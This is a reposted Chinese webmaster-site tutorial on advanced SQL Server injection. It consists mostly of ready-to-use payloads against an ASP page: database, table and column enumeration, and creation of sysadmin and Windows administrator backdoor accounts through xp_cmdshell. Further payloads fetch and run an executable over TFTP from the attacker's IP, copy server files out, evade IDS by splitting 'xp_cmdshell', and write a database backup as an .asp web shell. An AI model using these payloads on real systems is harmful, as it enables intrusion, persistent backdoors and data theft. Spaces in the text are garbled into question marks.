加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

SQLSERVER高级注入技巧

发布时间:2020-12-12 15:58:31 所属栏目:MsSql教程 来源:网络整理
导读:? ? ? [获取全部数据库名] select?name?from?master.dbo.sysdatabases?where?dbid=7?//dbid的值为7以上都是用户数据库 [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] select?top?1?name?from?数据库名.dbo.sysobjects?where?xtyp

?

?

?

[获取全部数据库名] select?name?from?master.dbo.sysdatabases?where?dbid=7?//dbid的值为7以上都是用户数据库 [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] select?top?1?name?from?数据库名.dbo.sysobjects?where?xtype=’u’?and?status>0?and?name?not?in(’table’)? [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] select?top?1?数据库名.dbo.col_name(object_id(’要查询的数据表名’),字段列如:1)?[?where?条件] 通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] news.asp?id=2;exec?master.dbo.sp_addlogin?test,test;--?//添加数据库用户用户test,密码为test news.asp?id=2;exec?master.dbo.sp_password?test,123456,test;--?//如果想改密码,则用这句(将test的密码改为123456) news.asp?id=2;exec?master.dbo.sp_addsrvrolemember?test,sysadmin;--?//将test加到sysadmin组,这个组的成员可执行任何操作 news.asp?id=2;exec?master.dbo.xp_cmdshell?’net?user?test?test?/add’;--?//添加系统用户test,密码为test news.asp?id=2;exec?master.dbo.xp_cmdshell?’net?localgroup?administrators?test?/add’;--?//将系统用户test提升为管理员 这样,你在他的数据库和系统内都留下了test管理员账号了 下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开] id=2;?exec?master.dbo.xp_cmdshell?’tftp?–i?你的IP?get?file.exe’;-- 然后运行这个文件: id=2;?exec?master.dbo.xp_cmdshell?’file.exe’;-- 下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]: id=2;?exec?master.dbo.xp_cmdshell?’tftp?–i?你的IP?Put?file2.doc’;-- 绕过IDS的检测[使用变量] declare?@a?sysname?set?@a=’xp_’+’cmdshell’?exec?@a?’dir?c:/’ declare?@a?sysname?set?@a=’xp’+’_cm’+’dshell’?exec?@a?’dir?c:/’? 新加的: 建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件 backup?database?dbname?to?disk=’d:/web/db.asp’;? 报错得到系统操作系统和数据库系统版本号 id=2?and?1<>(select?@@VERSION);??

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读